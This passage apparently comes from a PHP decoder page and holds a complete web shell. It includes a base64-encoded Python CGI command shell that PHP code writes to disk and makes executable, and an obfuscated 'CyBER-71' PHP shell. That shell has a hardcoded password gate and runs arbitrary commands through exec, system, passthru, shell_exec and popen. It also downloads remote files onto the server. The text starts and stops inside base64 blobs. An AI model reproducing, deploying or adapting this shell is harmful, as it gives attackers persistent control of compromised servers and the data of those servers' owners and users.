IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIwojIEltcG9ydHMKdHJ5
OgogICAgaW1wb3J0IGNnaXRiOyBjZ2l0Yi5lbmFibGUoKQpleGNlcHQ6CiAgICBwYXNzCmltcG9y
dCBzeXMsIGNnaSwgb3MKc3lzLnN0ZGVyciA9IHN5cy5zdGRvdXQKZnJvbSB0aW1lIGltcG9ydCBz
dHJmdGltZQppbXBvcnQgdHJhY2ViYWNrCmZyb20gU3RyaW5nSU8gaW1wb3J0IFN0cmluZ0lPCmZy
b20gdHJhY2ViYWNrIGltcG9ydCBwcmludF9leGMKCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKIyBjb25zdGFudHMKCmZvbnRs
aW5lID0gJzxGT05UIENPTE9SPSM0MjQyNDIgc3R5bGU9ImZvbnQtZmFtaWx5OnRpbWVzO2ZvbnQt
c2l6ZToxMnB0OyI+Jwp2ZXJzaW9uc3RyaW5nID0gJ1ZlcnNpb24gMS4wLjAgN3RoIEp1bHkgMjAw
NCcKCmlmIG9zLmVudmlyb24uaGFzX2tleSgiU0NSSVBUX05BTUUiKToKICAgIHNjcmlwdG5hbWUg
PSBvcy5lbnZpcm9uWyJTQ1JJUFRfTkFNRSJdCmVsc2U6CiAgICBzY3JpcHRuYW1lID0gIiIKCk1F
VEhPRCA9ICciUE9TVCInCgojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjCiMgUHJpdmF0ZSBmdW5jdGlvbnMgYW5kIHZhcmlhYmxl
cwoKZGVmIGdldGZvcm0odmFsdWVsaXN0LCB0aGVmb3JtLCBub3RwcmVzZW50PScnKToKICAgICIi
IlRoaXMgZnVuY3Rpb24sIGdpdmVuIGEgQ0dJIGZvcm0sIGV4dHJhY3RzIHRoZSBkYXRhIGZyb20g
aXQsIGJhc2VkIG9uCiAgICB2YWx1ZWxpc3QgcGFzc2VkIGluLiBBbnkgbm9uLXByZXNlbnQgdmFs
dWVzIGFyZSBzZXQgdG8gJycgLSBhbHRob3VnaCB0aGlzIGNhbiBiZSBjaGFuZ2VkLgogICAgKGUu
Zy4gdG8gcmV0dXJuIE5vbmUgc28geW91IGNhbiB0ZXN0IGZvciBtaXNzaW5nIGtleXdvcmRzIC0g
d2hlcmUgJycgaXMgYSB2YWxpZCBhbnN3ZXIgYnV0IHRvIGhhdmUgdGhlIGZpZWxkIG1pc3Npbmcg
aXNuJ3QuKSIiIgogICAgZGF0YSA9IHt9CiAgICBmb3IgZmllbGQgaW4gdmFsdWVsaXN0OgogICAg
ICAgIGlmIG5vdCB0aGVmb3JtLmhhc19rZXkoZmllbGQpOgogICAgICAgICAgICBkYXRhW2ZpZWxk
XSA9IG5vdHByZXNlbnQKICAgICAgICBlbHNlOgogICAgICAgICAgICBpZiAgdHlwZSh0aGVmb3Jt
W2ZpZWxkXSkgIT0gdHlwZShbXSk6CiAgICAgICAgICAgICAgICBkYXRhW2ZpZWxkXSA9IHRoZWZv
cm1bZmllbGRdLnZhbHVlCiAgICAgICAgICAgIGVsc2U6CiAgICAgICAgICAgICAgICB2YWx1ZXMg
PSBtYXAobGFtYmRhIHg6IHgudmFsdWUsIHRoZWZvcm1bZmllbGRdKSAgICAgIyBhbGxvd3MgZm9y
IGxpc3QgdHlwZSB2YWx1ZXMKICAgICAgICAgICAgICAgIGRhdGFbZmllbGRdID0gdmFsdWVzCiAg
ICByZXR1cm4gZGF0YQoKCnRoZWZvcm1oZWFkID0gIiIiPEhUTUw+PEhFQUQ+PFRJVExFPmNnaS1z
aGVsbC5weSAtIGEgQ0dJIGJ5IEZ1enp5bWFuPC9USVRMRT48L0hFQUQ+CjxCT0RZPjxDRU5URVI+
CjxIMT5XZWxjb21lIHRvIGNnaS1zaGVsbC5weSAtIDxCUj5hIFB5dGhvbiBDR0k8L0gxPgo8Qj48
ST5CeSBGdXp6eW1hbjwvQj48L0k+PEJSPgoiIiIrZm9udGxpbmUgKyJWZXJzaW9uIDogIiArIHZl
cnNpb25zdHJpbmcgKyAiIiIsIFJ1bm5pbmcgb24gOiAiIiIgKyBzdHJmdGltZSgnJUk6JU0gJXAs
ICVBICVkICVCLCAlWScpKycuPC9DRU5URVI+PEJSPicKCnRoZWZvcm0gPSAiIiI8SDI+RW50ZXIg
Q29tbWFuZDwvSDI+CjxGT1JNIE1FVEhPRD1cIiIiIiArIE1FVEhPRCArICciIGFjdGlvbj0iJyAr
IHNjcmlwdG5hbWUgKyAiIiJcIj4KPGlucHV0IG5hbWU9Y21kIHR5cGU9dGV4dD48QlI+CjxpbnB1
dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iU3VibWl0Ij48QlI+CjwvRk9STT48QlI+PEJSPiIiIgpib2R5
ZW5kID0gJzwvQk9EWT48L0hUTUw+JwplcnJvcm1lc3MgPSAnPENFTlRFUj48SDI+U29tZXRoaW5n
IFdlbnQgV3Jvbmc8L0gyPjxCUj48UFJFPicKCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKIyBtYWluIGJvZHkgb2YgdGhlIHNj
cmlwdAoKaWYgX19uYW1lX18gPT0gJ19fbWFpbl9fJzoKICAgIHByaW50ICJDb250ZW50LXR5cGU6
IHRleHQvaHRtbCIgICAgICAgICAjIHRoaXMgaXMgdGhlIGhlYWRlciB0byB0aGUgc2VydmVyCiAg
ICBwcmludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIyBzbyBpcyB0aGlzIGJs
YW5rIGxpbmUKICAgIGZvcm0gPSBjZ2kuRmllbGRTdG9yYWdlKCkKICAgIGRhdGEgPSBnZXRmb3Jt
KFsnY21kJ10sZm9ybSkKICAgIHRoZWNtZCA9IGRhdGFbJ2NtZCddCiAgICBwcmludCB0aGVmb3Jt
aGVhZAogICAgcHJpbnQgdGhlZm9ybQogICAgaWYgdGhlY21kOgogICAgICAgIHByaW50ICc8SFI+
PEJSPjxCUj4nCiAgICAgICAgcHJpbnQgJzxCPkNvbW1hbmQgOiAnLCB0aGVjbWQsICc8QlI+PEJS
PicKICAgICAgICBwcmludCAnUmVzdWx0IDogPEJSPjxCUj4nCiAgICAgICAgdHJ5OgogICAgICAg
ICAgICBjaGlsZF9zdGRpbiwgY2hpbGRfc3Rkb3V0ID0gb3MucG9wZW4yKHRoZWNtZCkKICAgICAg
ICAgICAgY2hpbGRfc3RkaW4uY2xvc2UoKQogICAgICAgICAgICByZXN1bHQgPSBjaGlsZF9zdGRv
dXQucmVhZCgpCiAgICAgICAgICAgIGNoaWxkX3N0ZG91dC5jbG9zZSgpCiAgICAgICAgICAgIHBy
aW50IHJlc3VsdC5yZXBsYWNlKCdcbicsICc8QlI+JykKCiAgICAgICAgZXhjZXB0IEV4Y2VwdGlv
biwgZTogICAgICAgICAgICAgICAgICAgICAgIyBhbiBlcnJvciBpbiBleGVjdXRpbmcgdGhlIGNv
bW1hbmQKICAgICAgICAgICAgcHJpbnQgZXJyb3JtZXNzCiAgICAgICAgICAgIGYgPSBTdHJpbmdJ
TygpCiAgICAgICAgICAgIHByaW50X2V4YyhmaWxlPWYpCiAgICAgICAgICAgIGEgPSBmLmdldHZh
bHVlKCkuc3BsaXRsaW5lcygpCiAgICAgICAgICAgIGZvciBsaW5lIGluIGE6CiAgICAgICAgICAg
ICAgICBwcmludCBsaW5lCgogICAgcHJpbnQgYm9keWVuZAoKCiIiIgpUT0RPL0lTU1VFUwoKCgpD
SEFOR0VMT0cKCjA3LTA3LTA0ICAgICAgICBWZXJzaW9uIDEuMC4wCkEgdmVyeSBiYXNpYyBzeXN0
ZW0gZm9yIGV4ZWN1dGluZyBzaGVsbCBjb21tYW5kcy4KSSBtYXkgZXhwYW5kIGl0IGludG8gYSBw
cm9wZXIgJ2Vudmlyb25tZW50JyB3aXRoIHNlc3Npb24gcGVyc2lzdGVuY2UuLi4KIiIi\';
$solevisible1 = fopen(\'py.izo\',\'w+\');
$solevisible2 = fwrite ($solevisible1 ,base64_decode($solevisible3));
fclose($solevisible1);
chmod(\'py.izo\',0755);
echo \'<iframe src=cgipy/py.izo width=100% height=600px frameborder=0></iframe> \';
echo "</div>";
alfafooter();
}
if( empty($_POST[\'a\']) )
if(isset($default_action) && function_exists(\'alfa\' . $default_action))
$_POST[\'a\'] = $default_action;
else
$_POST[\'a\'] = \'FilesMan\';
if( !empty($_POST[\'a\']) && function_exists(\'alfa\' . $_POST[\'a\']) )
call_user_func(\'alfa\' . $_POST[\'a\']);
exit;
?>'

Did this file decode correctly?

Original Code

<?php
/* 
* @Modified By 5y5t3M_cR45h3R 
* @Specially Thanks To X Code Pagla
* @https://www.facebook.com/groups/cyber71/
* @copyright 2014 || CyBER-71
*/
$mypass = '7b03a373e8080550442296329d0c2e06'; 
$_D = urldecode('%73%79%73%74%65%6d%5f%63%72%61%73%68%65%72%5f%62%72%6f%5f%34%36%5f%64%62');
$_P = $_D{15}.$_D{9}.$_D{0}.$_D{4}.$_D{20}.$_D{19}.$_D{6}.$_D{22}.$_D{4}.$_D{7}.$_D{17}.$_D{22}.$_D{4}; $_P = $_D{15}.$_D{9}.$_D{0}.$_D{4}.$_D{20}.$_D{19}.$_D{6}.$_D{22}.$_D{4}.$_D{7}.$_D{17}.$_D{22}.$_D{4}; $_P = $_D{15}.$_D{9}.$_D{0}.$_D{4}.$_D{20}.$_D{19}.$_D{6}.$_D{22}.$_D{4}.$_D{7}.$_D{17}.$_D{22}.$_D{4}; $_P = $_D{15}.$_D{9}.$_D{0}.$_D{4}.$_D{20}.$_D{19}.$_D{6}.$_D{22}.$_D{4}.$_D{7}.$_D{17}.$_D{22}.$_D{4}; $_P = $_D{15}.$_D{9}.$_D{0}.$_D{4}.$_D{20}.$_D{19}.$_D{6}.$_D{22}.$_D{4}.$_D{7}.$_D{17}.$_D{22}.$_D{4}; $_P = $_D{15}.$_D{9}.$_D{0}.$_D{4}.$_D{20}.$_D{19}.$_D{6}.$_D{22}.$_D{4}.$_D{7}.$_D{17}.$_D{22}.$_D{4}; $_P = $_D{15}.$_D{9}.$_D{0}.$_D{4}.$_D{20}.$_D{19}.$_D{6}.$_D{22}.$_D{4}.$_D{7}.$_D{17}.$_D{22}.$_D{4}; $_P = $_D{15}.$_D{9}.$_D{0}.$_D{4}.$_D{20}.$_D{19}.$_D{6}.$_D{22}.$_D{4}.$_D{7}.$_D{17}.$_D{22}.$_D{4}; 
$a = "?>".$_P("PD9waHANCmlmKGVtcHR5KCRfQ09PS0lFWydteXBhc3MnXSkpICRfQ09PS0lFWydteXBhc3MnXSA9ICcnOw0KaWYoJF9DT09LSUVbJ215cGFzcyddIT0kbXlwYXNzKQ0Kew0KaWYoaXNzZXQoJF9QT1NUWydteXBhc3MnXSkpDQp7DQppZihtZDUoJF9QT1NUWydteXBhc3MnXSk9PSRteXBhc3MpDQp7DQpzZXRjb29raWUoJ215cGFzcycsJG15cGFzcyk7DQpoZWFkZXIoIkxvY2F0aW9uOiA/Iik7DQpkaWUoKTsNCn1lbHNlDQplY2hvICJXcm9uZyBQYXNzd29yZCAgPGJyLz4iOw0KfQ0KZWNobyAiPGZvcm0gYWN0aW9uPSc/JyBtZXRob2Q9J3Bvc3QnPg0KPGlucHV0IG5hbWU9J215cGFzcycgdHlwZT0ncGFzc3dvcmQnIC8+DQo8aW5wdXQgdmFsdWU9J1N1Ym1pdCcgdHlwZT0nc3VibWl0JyAvPg0KPC9mb3JtPiI7DQpkaWUoKTsNCn0NCg0KDQppZihpc3NldCgkX0dFVFsic29sZXZpc2libGUiXSkpew0KJGF1dGhfcGFzcz0iIjskY29sb3I9IiNkZjUiOyRkZWZhdWx0X2FjdGlvbj0iRmlsZXNNYW4iOyRkZWZhdWx0X3VzZV9hamF4PXRydWU7JGRlZmF1bHRfY2hhcnNldD0iV2luZG93cy0xMjUxIjsNCmV4aXQ7IH0NCkBkZWZpbmUoJ1ZFUlNJT04nLCcxLjAnKTsNCkBlcnJvcl9yZXBvcnRpbmcoRV9BTEwgXiBFX05PVElDRSk7DQpAc2Vzc2lvbl9zdGFydCgpOw0KQGluaV9zZXQoJ2Vycm9yX2xvZycsTlVMTCk7DQpAaW5pX3NldCgnbG9nX2Vycm9ycycsMCk7DQpAaW5pX3NldCgnbWF4X2V4ZWN1dGlvbl90aW1lJywwKTsNCkBzZXRfdGltZV9saW1pdCgwKTsNCkBzZXRfbWFnaWNfcXVvdGVzX3J1bnRpbWUoMCk7DQppZihnZXRfbWFnaWNfcXVvdGVzX2dwYygpKSB7DQpmdW5jdGlvbiBhbGZhc3RyaXBzbGFzaGVzKCRhcnJheSkgew0KcmV0dXJuIGlzX2FycmF5KCRhcnJheSkgPyBhcnJheV9tYXAoJ2FsZmFzdHJpcHNsYXNoZXMnLCAkYXJyYXkpIDogc3RyaXBzbGFzaGVzKCRhcnJheSk7DQp9DQokX1BPU1QgPSBhbGZhc3RyaXBzbGFzaGVzKCRfUE9TVCk7DQp9DQokZGVmYXVsdF9hY3Rpb24gPSAnRmlsZXNNYW4nOw0KJGRlZmF1bHRfdXNlX2FqYXggPSB0cnVlOw0KJGRlZmF1bHRfY2hhcnNldCA9ICdXaW5kb3dzLTEyNTEnOw0KaWYgKHN0cnRvbG93ZXIoc3Vic3RyKFBIUF9PUywwLDMpKT09IndpbiIpDQokc3lzPSd3aW4nOw0KZWxzZQ0KJHN5cz0ndW5peCc7DQokaG9tZV9jd2QgPSBAZ2V0Y3dkKCk7DQppZihpc3NldCgkX1BPU1RbJ2MnXSkpDQpAY2hkaXIoJF9QT1NUWydjJ10pOw0KJGN3ZCA9IEBnZXRjd2QoKTsNCmlmKCRzeXMgPT0gJ3dpbicpDQp7DQokaG9tZV9jd2QgPSBzdHJfcmVwbGFjZSgiXFwiLCAiLyIsICRob21lX2N3ZCk7DQokY3dkID0gc3RyX3JlcGxhY2UoIlxcIiwgIi8iLCAkY3dkKTsNCn0NCmlmKCRjd2Rbc3RybGVuKCRjd2QpLTFdICE9ICcvJyApDQokY3dkIC49ICcvJzsNCmZ1bmN0aW9uIGFsZmFFeCgkaW4pIHsNCiRvdXQgPSAnJzsNCmlmIChmdW5jdGlvbl9leGlzdHMoJ2V4ZWMnKSkgew0KQGV4ZWMoJGluLCRvdXQpOw0KJG91dCA9IEBqb2luKCJcbiIsJG91dCk7DQp9IGVsc2VpZiAoZnVuY3Rpb25fZXhpc3RzKCdwYXNzdGhydScpKSB7DQpvYl9zdGFydCgpOw0KQHBhc3N0aHJ1KCRpbik7DQokb3V0ID0gb2JfZ2V0X2NsZWFuKCk7DQp9IGVsc2VpZiAoZnVuY3Rpb25fZXhpc3RzKCdzeXN0ZW0nKSkgew0Kb2Jfc3RhcnQoKTsNCkBzeXN0ZW0oJGluKTsNCiRvdXQgPSBvYl9nZXRfY2xlYW4oKTsNCn0gZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoJ3NoZWxsX2V4ZWMnKSkgew0KJG91dCA9IHNoZWxsX2V4ZWMoJGluKTsNCn0gZWxzZWlmIChpc19yZXNvdXJjZSgkZiA9IEBwb3BlbigkaW4sInIiKSkpIHsNCiRvdXQgPSAiIjsNCndoaWxlKCFAZmVvZigkZikpDQokb3V0IC49IGZyZWFkKCRmLDEwMjQpOw0KcGNsb3NlKCRmKTsNCn0NCnJldHVybiAkb3V0Ow0KfQ0KJGRvd249QGdldGN3ZCgpOw0KaWYoJHN5cz09IndpbiIpDQokZG93bi49J1xcJzsNCmVsc2UNCiRkb3duLj0nLyc7DQppZihpc3NldCgkX1BPU1RbJ3J0ZG93biddKSkNCnsNCiR1cmwgPSAkX1BPU1RbJ3J0ZG93biddOw0KJG5ld2ZuYW1lID0gJGRvd24uIGJhc2VuYW1lKCR1cmwpOw0KJGZpbGUgPSBmb3BlbiAoJHVybCwgInJiIik7DQppZiAoJGZpbGUpIHsNCiRuZXdmID0gZm9wZW4gKCRuZXdmbmFtZSwgIndiIik7DQppZiAoJG5ld2YpDQp3aGlsZSghZmVvZigkZmlsZSkpIHsNCmZ3cml0ZSgkbmV3ZiwgZnJlYWQoJGZpbGUsIDEwMjQgKiA4ICksIDEwMjQgKiA4ICk7DQp9DQp9DQppZiAoJGZpbGUpIHsNCmZjbG9zZSgkZmlsZSk7DQp9DQppZiAoJG5ld2YpIHsNCmZjbG9zZSgkbmV3Zik7DQp9DQp9DQpmdW5jdGlvbiBhbGZhaGVhZCgpDQp7DQppZihlbXB0eSgkX1BPU1RbJ2NoYXJzZXQnXSkpDQokX1BPU1RbJ2NoYXJzZXQnXSA9ICRHTE9CQUxTWydkZWZhdWx0X2NoYXJzZXQnXTsNCiRmcmVlU3BhY2UgPSBAZGlza2ZyZWVzcGFjZSgkR0xPQkFMU1snY3dkJ10pOw0KJHRvdGFsU3BhY2UgPSBAZGlza190b3RhbF9zcGFjZSgkR0xPQkFMU1snY3dkJ10pOw0KJHRvdGFsU3BhY2UgPSAkdG90YWxTcGFjZT8kdG90YWxTcGFjZToxOw0KJG9uPSI8Zm9udCBjb2xvcj0jMEYwPiBPTiA8L2ZvbnQ+IjsNCiRvZj0iPGZvbnQgY29sb3I9cmVkPiBPRkYgPC9mb250PiI7DQokbm9uZT0iPGZvbnQgY29sb3I9IzBGMD4gTk9ORSA8L2ZvbnQ+IjsNCmlmKGZ1bmN0aW9uX2V4aXN0cygnY3VybF92ZXJzaW9uJykpDQokY3VybD0kb247DQplbHNlDQokY3VybD0kb2Y7DQppZihmdW5jdGlvbl9leGlzdHMoJ215c3FsX2dldF9jbGllbnRfaW5mbycpKQ0KJG15c3FsPSRvbjsNCmVsc2UNCiRteXNxbD0kb2Y7DQppZihmdW5jdGlvbl9leGlzdHMoJ21zc3FsX2Nvbm5lY3QnKSkNCiRtc3NxbD0kb247DQplbHNlDQokbXNzcWw9JG9mOw0KaWYoZnVuY3Rpb25fZXhpc3RzKCdwZ19jb25uZWN0JykpDQokcGc9JG9uOw0KZWxzZQ0KJHBnPSRvZjsNCmlmKGZ1bmN0aW9uX2V4aXN0cygnb2NpX2Nvbm5lY3QnKSkNCiRvcj0kb247DQplbHNlDQokb3I9JG9mOw0KaWYoQGluaV9nZXQoJ2Rpc2FibGVfZnVuY3Rpb25zJykpDQokZGlzZnVuPUBpbmlfZ2V0KCdkaXNhYmxlX2Z1bmN0aW9ucycpOw0KZWxzZQ0KJGRpc2Z1bj0iQWxsIEZ1bmN0aW9ucyBFbmFibGVkIjsNCmlmKEBpbmlfZ2V0KCdzYWZlX21vZGUnKSkNCiRzYWZlX21vZGVzPSI8Zm9udCBjb2xvcj1yZWQ+T048L2ZvbnQ+IjsNCmVsc2UNCiRzYWZlX21vZGVzPSI8Zm9udCBjb2xvcj0jMEYwID5PRkY8L2ZvbnQ+IjsNCmlmKEBpbmlfZ2V0KCdvcGVuX2Jhc2VkaXInKSkNCiRvcGVuX2I9QGluaV9nZXQoJ29wZW5fYmFzZWRpcicpOw0KZWxzZQ0KJG9wZW5fYj0kbm9uZTsNCmlmKEBpbmlfZ2V0KCdzYWZlX21vZGVfZXhlY19kaXInKSkNCiRzYWZlX2V4ZT1AaW5pX2dldCgnc2FmZV9tb2RlX2V4ZWNfZGlyJyk7DQplbHNlDQokc2FmZV9leGU9JG5vbmU7DQppZihAaW5pX2dldCgnc2FmZV9tb2RlX2luY2x1ZGVfZGlyJykpDQokc2FmZV9pbmNsdWRlPUBpbmlfZ2V0KCdzYWZlX21vZGVfaW5jbHVkZV9kaXInKTsNCmVsc2UNCiRzYWZlX2luY2x1ZGU9JG5vbmU7DQppZighZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRlZ2lkJykpDQp7DQokdXNlciA9IEBnZXRfY3VycmVudF91c2VyKCk7DQokdWlkID0gQGdldG15dWlkKCk7DQokZ2lkID0gQGdldG15Z2lkKCk7DQokZ3JvdXAgPSAiPyI7DQp9IGVsc2UNCnsNCiR1aWQgPSBAcG9zaXhfZ2V0cHd1aWQocG9zaXhfZ2V0ZXVpZCgpKTsNCiRnaWQgPSBAcG9zaXhfZ2V0Z3JnaWQocG9zaXhfZ2V0ZWdpZCgpKTsNCiR1c2VyID0gJHVpZFsnbmFtZSddOw0KJHVpZCA9ICR1aWRbJ3VpZCddOw0KJGdyb3VwID0gJGdpZFsnbmFtZSddOw0KJGdpZCA9ICRnaWRbJ2dpZCddOw0KfQ0KJGN3ZF9saW5rcyA9ICcnOw0KJHBhdGggPSBleHBsb2RlKCIvIiwgJEdMT0JBTFNbJ2N3ZCddKTsNCiRuPWNvdW50KCRwYXRoKTsNCmZvcigkaT0wOyAkaTwkbi0xOyAkaSsrKSB7DQokY3dkX2xpbmtzIC49ICI8YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiRmlsZXNNYW5cIixcIiI7DQpmb3IoJGo9MDsgJGo8PSRpOyAkaisrKQ0KJGN3ZF9saW5rcyAuPSAkcGF0aFskal0uJy8nOw0KJGN3ZF9saW5rcyAuPSAiXCIpJz4iLiRwYXRoWyRpXS4iLzwvYT4iOw0KfQ0KJGRyaXZlcyA9ICIiOw0KZm9yZWFjaChyYW5nZSgnYycsJ3onKSBhcyAkZHJpdmUpDQppZihpc19kaXIoJGRyaXZlLic6XFwnKSkNCiRkcml2ZXMgLj0gJzxhIGhyZWY9IiMiIG9uY2xpY2s9ImcoXCdGaWxlc01hblwnLFwnJy4kZHJpdmUuJzovXCcpIj5bICcuJGRyaXZlLicgXTwvYT4gJzsNCmVjaG8gJzwhRE9DVFlQRSBodG1sIFBVQkxJQyAiLS8vVzNDLy9EVEQgWEhUTUwgMS4wIFRyYW5zaXRpb25hbC8vRU4iICJodHRwOi8vd3d3LnczLm9yZy9UUi94aHRtbDEvRFREL3hodG1sMS10cmFuc2l0aW9uYWwuZHRkIj4NCjxodG1sIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hodG1sIj4NCjxoZWFkPg0KPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9dXRmLTgiIC8+DQo8bGluayBocmVmPSJodHRwOi8vZmlsZXMuc29mdGljb25zLmNvbS9kb3dubG9hZC9pbnRlcm5ldC1pY29ucy9nbG9zc3ktZmxhZy1pY29ucy1ieS1ub3JkaWMtZmFjdG9yeS9wbmcvNDgvYmQucG5nIiByZWw9Imljb24iIHR5cGU9ImltYWdlL3gtaWNvbiIvPg0KPHRpdGxlPi4uOjogJy4kX1NFUlZFUlsnSFRUUF9IT1NUJ10uJ346OkN5QkVSLTcxIFNoZWxsOjp+PC90aXRsZT4NCjxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+DQo8IS0tDQojYWxlcnQge3Bvc2l0aW9uOiByZWxhdGl2ZTt9DQojYWxlcnQ6aG92ZXI6YWZ0ZXIgew0KYmFja2dyb3VuZDogaHNsYSgwLDAlLDAlLC44KTsNCmJvcmRlci1yYWRpdXM6IDNweDsNCmNvbG9yOiAjZjZmNmY2Ow0KY29udGVudDogXCdIaWRkZW4gc2hlbGxcJzsNCmZvbnQ6IGJvbGQgMTJweC8zMHB4IHNhbnMtc2VyaWY7DQpoZWlnaHQ6IDMwcHg7DQpsZWZ0OiA1MCU7DQptYXJnaW4tbGVmdDogLTYwcHg7DQpwb3NpdGlvbjogYWJzb2x1dGU7DQp0ZXh0LWFsaWduOiBjZW50ZXI7DQp0b3A6IDUwcHg7IHdpZHRoOiAxMjBweDsNCn0NCiNhbGVydDpob3ZlcjpiZWZvcmUgew0KYm9yZGVyLWJvdHRvbTogMTBweCBzb2xpZCBoc2xhKDAsMCUsMCUsLjgpOw0KYm9yZGVyLWxlZnQ6IDEwcHggc29saWQgdHJhbnNwYXJlbnQ7DQpib3JkZXItcmlnaHQ6IDEwcHggc29saWQgdHJhbnNwYXJlbnQ7Y29udGVudDogXCdcJzsNCmhlaWdodDogMDsNCmxlZnQ6IDUwJTsNCm1hcmdpbi1sZWZ0OiAtMTBweDsNCnBvc2l0aW9uOiBhYnNvbHV0ZTsNCnRvcDogNDBweDsNCndpZHRoOiAwOw0KfQ0KI2FsZXJ0OnRhcmdldCB7ZGlzcGxheTogbm9uZTt9DQouYWxlcnRfcmVkIHsNCmFuaW1hdGlvbjogYWxlcnQgMXMgZWFzZSBmb3J3YXJkczsNCmJhY2tncm91bmQtY29sb3I6ICNjNDQ1M2M7DQpiYWNrZ3JvdW5kLWltYWdlOiBsaW5lYXItZ3JhZGllbnQoMTM1ZGVnLCB0cmFuc3BhcmVudCx0cmFuc3BhcmVudCAyNSUsIGhzbGEoMCwwJSwwJSwuMSkgMjUlLGhzbGEoMCwwJSwwJSwuMSkgNTAlLCB0cmFuc3BhcmVudCA1MCUsdHJhbnNwYXJlbnQgNzUlLCBoc2xhKDAsMCUsMCUsLjEpIDc1JSxoc2xhKDAsMCUsMCUsLjEpKTsNCmJhY2tncm91bmQtc2l6ZTogMjBweCAyMHB4O2JveC1zaGFkb3c6IDAgNXB4IDAgaHNsYSgwLDAlLDAlLC4xKTsNCmNvbG9yOiAjZjZmNmY2O2Rpc3BsYXk6IGJsb2NrOw0KZm9udDogYm9sZCAxNnB4LzQwcHggc2Fucy1zZXJpZjsNCmhlaWdodDogNDBweDsNCnBvc2l0aW9uOiBhYnNvbHV0ZTsNCnRleHQtYWxpZ246IGNlbnRlcjsNCnRleHQtZGVjb3JhdGlvbjogbm9uZTsNCnRvcDogLTVweDsNCndpZHRoOiAxMDAlOw0KfQ0KLmFsZXJ0X2dyZWVuIHthbmltYXRpb246IGFsZXJ0IDFzIGVhc2UgZm9yd2FyZHM7DQpiYWNrZ3JvdW5kLWNvbG9yOiAjMjc5NzlCOw0KYmFja2dyb3VuZC1pbWFnZTogbGluZWFyLWdyYWRpZW50KDEzNWRlZywgdHJhbnNwYXJlbnQsdHJhbnNwYXJlbnQgMjUlLCBoc2xhKDAsMCUsMCUsLjEpIDI1JSxoc2xhKDAsMCUsMCUsLjEpIDUwJSwgdHJhbnNwYXJlbnQgNTAlLHRyYW5zcGFyZW50IDc1JSwgaHNsYSgwLDAlLDAlLC4xKSA3NSUsaHNsYSgwLDAlLDAlLC4xKSk7DQpiYWNrZ3JvdW5kLXNpemU6IDIwcHggMjBweDsNCmJveC1zaGFkb3c6IDAgNXB4IDAgaHNsYSgwLDAlLDAlLC4xKTsNCmNvbG9yOiAjZjZmNmY2Ow0KZGlzcGxheTogYmxvY2s7DQpmb250OiBib2xkIDE2cHgvNDBweCBzYW5zLXNlcmlmOw0KaGVpZ2h0OiA0MHB4Ow0KcG9zaXRpb246IGFic29sdXRlOw0KdGV4dC1hbGlnbjogY2VudGVyOw0KdGV4dC1kZWNvcmF0aW9uOiBub25lOw0KdG9wOiAtNXB4Ow0Kd2lkdGg6IDEwMCU7DQp9DQpAa2V5ZnJhbWVzIGFsZXJ0IHswJSB7IG9wYWNpdHk6IDA7IH01MCUgeyBvcGFjaXR5OiAxOyB9MTAwJSB7IHRvcDogMDsgfX0NCi53aG9sZSB7DQpiYWNrZ3JvdW5kLWNvbG9yOiAjMEUzMDRBOw0KaGVpZ2h0OmF1dG87DQp3aWR0aDogYXV0bzsNCm1hcmdpbi10b3A6IDEwcHg7DQptYXJnaW4tcmlnaHQ6IDEwcHg7DQptYXJnaW4tbGVmdDogMTBweDsNCn0NCi5oZWFkZXIgew0KaGVpZ2h0OiBhdXRvOw0Kd2lkdGg6IGF1dG87DQpib3JkZXI6IDdweCBzb2xpZCAjMEUzMDRBOw0KY29sb3I6ICM2N0FCREY7DQpmb250LXNpemU6IDEycHg7DQpmb250LWZhbWlseTogVmVyZGFuYSwgR2VuZXZhLCBzYW5zLXNlcmlmOw0KYmFja2dyb3VuZC1jb2xvcjogIzAwMDsNCn0NCi5oZWFkZXIgYSB7Y29sb3I6IzBGMDsgdGV4dC1kZWNvcmF0aW9uOm5vbmU7fQ0Kc3BhbiB7DQpmb250LXdlaWdodDogYm9sZGVyOw0KY29sb3I6ICNGRkY7DQp9DQojbWV1bmxpc3Qgew0KZm9udC1mYW1pbHk6IFZlcmRhbmEsIEdlbmV2YSwgc2Fucy1zZXJpZjsNCmNvbG9yOiAjRkZGOw0KYmFja2dyb3VuZC1jb2xvcjogIzAwMDsNCndpZHRoOiBhdXRvOw0KYm9yZGVyLXJpZ2h0LXdpZHRoOiA3cHg7DQpib3JkZXItbGVmdC13aWR0aDogN3B4Ow0KYm9yZGVyLXRvcC1zdHlsZTogc29saWQ7DQpib3JkZXItcmlnaHQtc3R5bGU6IHNvbGlkOw0KYm9yZGVyLWJvdHRvbS1zdHlsZTogc29saWQ7DQpib3JkZXItbGVmdC1zdHlsZTogc29saWQ7DQpib3JkZXItdG9wLWNvbG9yOiAjMEUzMDRBOw0KYm9yZGVyLXJpZ2h0LWNvbG9yOiAjMEUzMDRBOw0KYm9yZGVyLWJvdHRvbS1jb2xvcjogIzBFMzA0QTsNCmJvcmRlci1sZWZ0LWNvbG9yOiAjMEUzMDRBOw0KaGVpZ2h0OiBhdXRvOw0KZm9udC1zaXplOiAxMnB4Ow0KZm9udC13ZWlnaHQ6IGJvbGQ7DQpib3JkZXItdG9wLXdpZHRoOiAwcHg7DQp9DQoud2hvbGUgI21ldW5saXN0IHVsIHsNCnBhZGRpbmctdG9wOiA1cHg7DQpwYWRkaW5nLXJpZ2h0OiA1cHg7DQpwYWRkaW5nLWJvdHRvbTogN3B4O